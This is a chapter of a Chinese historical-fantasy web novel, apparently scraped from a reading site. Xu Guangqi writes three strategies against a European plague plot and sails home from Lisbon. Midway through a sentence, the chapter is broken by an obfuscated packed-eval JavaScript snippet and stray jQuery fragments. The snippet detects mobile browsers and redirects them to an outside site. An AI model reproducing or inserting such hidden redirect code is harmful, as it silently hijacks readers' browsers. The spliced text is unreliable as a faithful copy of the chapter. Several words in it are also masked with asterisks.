第519章 返航急如焚,光启定三策
作品:《寒门状元:我的大脑通古今》 八月初七的马赛港,热得像口煮沸的锅。
徐光启捏着那份破译的加密文件,手指关节捏得发白。
“圣玛丽亚号”、“黑海-里海-西域路线”、“八月初十抵达”……每个字都像烧红的烙铁,烫在他心上。
还剩三天。
不,从马赛到西域**之遥,就算插翅也追不上了。
“大人,”
柳莺脸色惨白,“现在怎么办?”
徐光启闭上眼,超频大脑在绝境中疯狂运转——这是苏惟瑾亲传的思考法,穷尽所有可能性,找出最优解。
三息后,他睁眼,眼中已无慌乱。
“回里斯本。”
声音冷得像冰,“与使团汇合,立即返航。”
“可毒船……”
“截不住,就不截了。”
徐光启转身,大步走向码头,“我们要做的,是在毒船抵达前,在大明织好一张网——一张能让‘圣殿遗产会’有来无回的网!”
“海鸥号”掉头北上,满帆疾驰。
地中海的风鼓着帆,船速快得让莫里斯都咂舌:“乖乖,这顺风,跟上帝帮忙似的。”
但徐光启知道,这不是上帝帮忙,是季风——八月的北风,正是返航的最佳时机。
船舱里,他铺开一卷素绢,提笔蘸墨。
墨是徽州松烟墨,笔是湖州狼毫,都是陈洪范早前备下的。
此刻他手腕沉稳,字迹工整如刻:
“圣殿遗产会应对三策——臣徐光启谨呈靖海王御览”
笔尖顿了顿,写下第一个字:“上”。
“上策:御敌于外。”
“一、令南洋水师提督苏惟山,率主力舰队封锁红海入口、波斯湾霍尔木兹海峡、马六甲海峡三处咽喉。”
“凡欧洲来船,一律登船检查,尤注意‘葡萄酒桶’‘教会物资’‘医疗器械’等名目。”
“可疑者扣留,抗命者击沉。”
“二、遣使联络奥斯曼帝国苏丹,**利害:若圣殿遗产会借道奥斯曼运毒,瘟疫一起,商路断绝,奥斯曼亦受其害。”
“请其开放情报共享,严查黑海-里海沿线商队。”
“三、命西域都护府(注:此为虚构,嘉靖朝尚未设)或哈密卫,增兵嘉峪关、阳关,凡西域入关商旅,一律隔离十日观察。”
“有发热、咳血、出疹者,全队扣留。”
写到这里,他笔锋一转,列出此策风险:
“然此策有三难:一、水师封锁或引发与葡萄牙、西班牙冲突,若两国商船被误扣,恐伤邦交;”
“二、奥斯曼与我有旧怨,未必合作;”
“三、西域商路绵延数千里,防不胜防。”
“故需辅以中策。”
“中策:境内清查。”
“一、令沿海各省巡抚,即日起严查近三月所有入境欧洲人,登记造册,限制活动。”
“重点排查自称医师、教士、学者者,验其行李、查其背景。”
“二、各港口设‘防疫检疫所’,凡入境货物,尤以种子、皮**、药材、书籍为名者,开箱晾晒三日,以阳光消杀(臣在欧洲见实验,鼠疫杆菌畏日光)。”
“三、悬赏举报:凡举报可疑洋人或货物者,核实后赏银百两。”
“重赏之下,必有勇夫。”
此策更务实,但也有漏洞:
“然‘播种者’若已潜入,或伪装成汉人,或买通官吏,则清查如大海捞针。”
“且大规模排查易引发民乱、商怨,需谨慎行事。”
最后是下策。
徐光启笔尖悬停良久,才落下:
“下策:防疫研发。”
“此策最为被动,然若上中二策皆失,则为最后防线。”
“一、举太医院、格物大学医学科之力,速研防疫之法。”
“据欧洲所见,敌所用多为鼠疫杆菌(黑死病)及天花病毒变种,传播途径有三:鼠蚤叮咬、飞沫传播、接触传染。”
“二、制备‘人痘’:取天花患者痘痂,研磨成粉,以银管吹入健康者鼻腔。”
“此法前朝已有,然风险大,十人中或有一二死亡。然若瘟疫爆发,两害相权取其轻。”
“三、储备药材:大黄、黄连、金银花、板蓝根等清热解毒之药,需屯三年之量。”
“另,鼠疫患者需绝对隔离,接触者衣物、用具一律焚毁。”
“四、制定《防疫律》:凡隐匿疫情者,斩;凡逃避隔离者,杖一百流三千里;凡散布谣言引发恐慌者,绞。”
写到这里,素绢已满。
徐光启放下笔,揉了揉发酸的手腕。
这三策,上策霸道,中策稳妥,下策悲壮。
但现实很可能是——三策齐用,仍难挡瘟疫。
因为敌人要的不是军事胜利,是种族灭绝。
窗外,海天一色。
柳莺端着药进来,见他面色凝重,轻声道:“大人先喝药吧,伤还没好。”
徐光启接过药碗,却没喝,忽然问:“柳姑娘,你说……我们这趟欧洲之行,算成功吗?”
柳莺一愣:“大人为何这么问?我们查清了圣殿遗产会的阴谋,烧了他们的实验室,拿到了关键证据……”
“可毒船还是溜走了。”
徐光启苦笑,“马可·波罗可能已经过了黑海,沈默可能已经在杭州**,三百圣殿骑士不知去向……我们就像救火的人,东边扑灭了,西边又烧起来。”
“但至少我们知道了火从哪里来。”
柳莺认真道,“若没有大人这趟欧洲之行,大明连敌人是谁都不知道,那才真是灭顶之灾。”
徐光启看着她,良久,笑了:“你说得对。”
“知道了,就有办法。”
他仰头喝尽苦药。
八月初十,里斯本。
“破浪号”静卧在特茹河口,帆已洗过,补给已全。
使团众人早已上船,只等徐光启归来。
葡萄牙国王曼努埃尔一世亲自到码头送行。
这位老国王穿着华丽的礼服,头上戴着王冠,但脸色憔悴——修道院那场清洗让他元气大伤,据说现在每晚要喝三杯葡萄酒才能入睡。
“徐大人,”
曼努埃尔一世握着他的手,声音低沉,“此次一别,不知何时再见。”
“陛下保重。”
徐光启躬身,“大明与葡萄牙的友谊,必将如特茹河般长流。”
“友谊……”
国王苦笑,“徐大人,有句话,本王思量再三,还是决定告诉你。”
他左右看看,压低声音:“十天前,教皇特使秘密来访,说……圣殿遗产会在罗马的势力,比我们想象的更大。”
“他们不仅想灭大明,还想‘净化’所有‘异教徒国度’,包括……葡萄牙。”
徐光启瞳孔一缩。
“所以,”
国王拍拍他肩膀,“我们是一根绳上的蚂蚱。”
“这次你回去,若能挡住他们,不仅是救了大明,也是救了葡萄牙,救了整个欧洲。”
他使了个眼色,侍从抬上来三个橡木箱。
“这是本王私人赠送:一箱是最新的航海钟,比你们在安特卫普见到的更精准;一箱是威尼斯玻璃工坊的显微镜,倍数更高;还有一箱……”
国王打开箱盖,里面是满满的金币,“算是本王对格物学堂的捐助。希望有一天,葡萄牙的学子也能去大明学习。”
徐光启深深一揖:“臣代靖海王、代大明,谢陛下厚赠。”
临登船前,陈洪范匆匆赶来——他是昨夜才逃回里斯本的,安特卫普那场大火后,他被全城通缉,好不容易才躲过追捕。
“徐大人,”
陈洪范眼圈发红,“铅盒已经托付给信得过的商船,走的是印度洋航线,最迟九月底到月港。”
“有劳陈老板。”
徐光启从怀中取出一封信,“这封信,烦请陈老板亲自交给靖海王。里面……是我的一些猜测。”
“猜测?”
“关于‘播种者’**的猜测。”
徐光启望向东方,“我总觉得,这个人,我们可能都认识。”
陈洪范郑重收好信:“大人放心,陈某就算死,也会把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17212993|186215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
信送到。”
“别说死。”
徐光启拍拍他肩膀,“好好活着,等回国了,我还要请你喝酒。”
“一定!”
午时三刻,吉时。
“破浪号”缓缓驶离里斯本港。
岸上,葡萄牙王室仪仗肃立,礼炮鸣响二十一响——这是送别君主的礼节。
徐光启站在船尾,望着渐渐远去的欧洲大陆。
六个月前,他意气风发地出海,想的是开眼界、学知识、结友谊。
六个月后,他带着一身伤、一箱证据、和一肚子沉重的心事返航。
世界远比他想象的复杂,也远比他想象的……险恶。
“大人,”
孙传庭走过来,脸色古怪,“有件事……”
“说。”
“佩德罗……就是那个导航员内鬼,”
孙传庭压低声音,“今早检查船舱时,发现他死在床上,七窍流血,像是**。但昨夜没人接近过他。”
徐光启心中一凛:“搜身了吗?”
“搜了。”
孙传庭递过来个小铁盒,“在他枕头里找到的,里面……有张纸条。”
徐光启打开铁盒。
纸条上只有一行字,是用血写的:
“园丁有令:若徐使团平安返航,则启动‘最终绽放’。”
“八月十五,当血月凌空,金雀花将开遍大明十三省。”
“此为……神之净化。”
字迹狰狞,像垂死之人的最后诅咒。
徐光启捏着纸条,手指微微发抖。
最终绽放……
开遍大明十三省……
难道他们不只是要**几个港口,而是要在……全国同时引爆瘟疫?!
“大人,”
柳莺的声音在颤抖,“您看海面……”
徐光启抬头。
远处海平面上,不知何时**了数十艘船影。
不是黑帆快船,是各式各样的商船、渔船、甚至有几艘挂着奥斯曼旗帜的战船。
它们远远地、沉默地排列着,像在……目送。
或者说,监视。
“传令。”
徐光启深吸一口气,“全速前进,不得停泊,不得靠岸。”
“所有火炮装填,进入战备状态。”
“是!”
帆满,风疾。
“破浪号”像支离弦的箭,劈开大西洋的波涛,向东,向东。
船舱里,徐光启摊开世界地图,手指从里斯本划过好望角、印度洋、马六甲,最后停在大明的海岸线上。
距离八月十五,只剩五天了。
五天,要跨越**海疆。
五天,要织好那张天罗地网。
五天,要阻止一场灭国之灾。
他闭上眼,脑中浮现出苏惟瑾的面容。
老师,学生回来了。
带着欧洲的硝烟,带着地中海的浪涛,带着……一场可能席卷大明的风暴。
您,准备好了吗?
“破浪号”驶入大西洋深处第三日,瞭望哨忽然惊呼:
前方海面上,漂浮着上百具尸体!
皆穿欧洲服饰,死状凄惨。
更诡异的是,尸体中央有艘半沉的奥斯曼商船,船桅上绑着个人——竟是陈洪范!
他还活着,但浑身是血,看见“破浪号”时拼命挥手,嘶声大喊:
“徐大人!别过来!”
“船上有——”
话音未落,一支**箭贯穿他胸膛!
几乎同时,那艘奥斯曼商船轰然**,火焰冲天!
而在**的火光中,徐光启清楚看见,对面海平面上,六艘黑帆快船正缓缓升起一面新旗:
黑底,金色十字架缠绕荆棘,下方一行拉丁文——“圣殿永存”。
他们不是来追击的,是来……截杀的!
而此刻,“破浪号”正驶入一片浓雾区,罗盘指针疯狂旋转,船速骤降——是磁暴!
这片海域,早被动了手脚!
前有埋伏,后有追兵,绝境之中,徐光启能否带着三策和证据,活着回到大明?
那艘**的奥斯曼商船上,陈洪范临死前想警告的,究竟是什么?

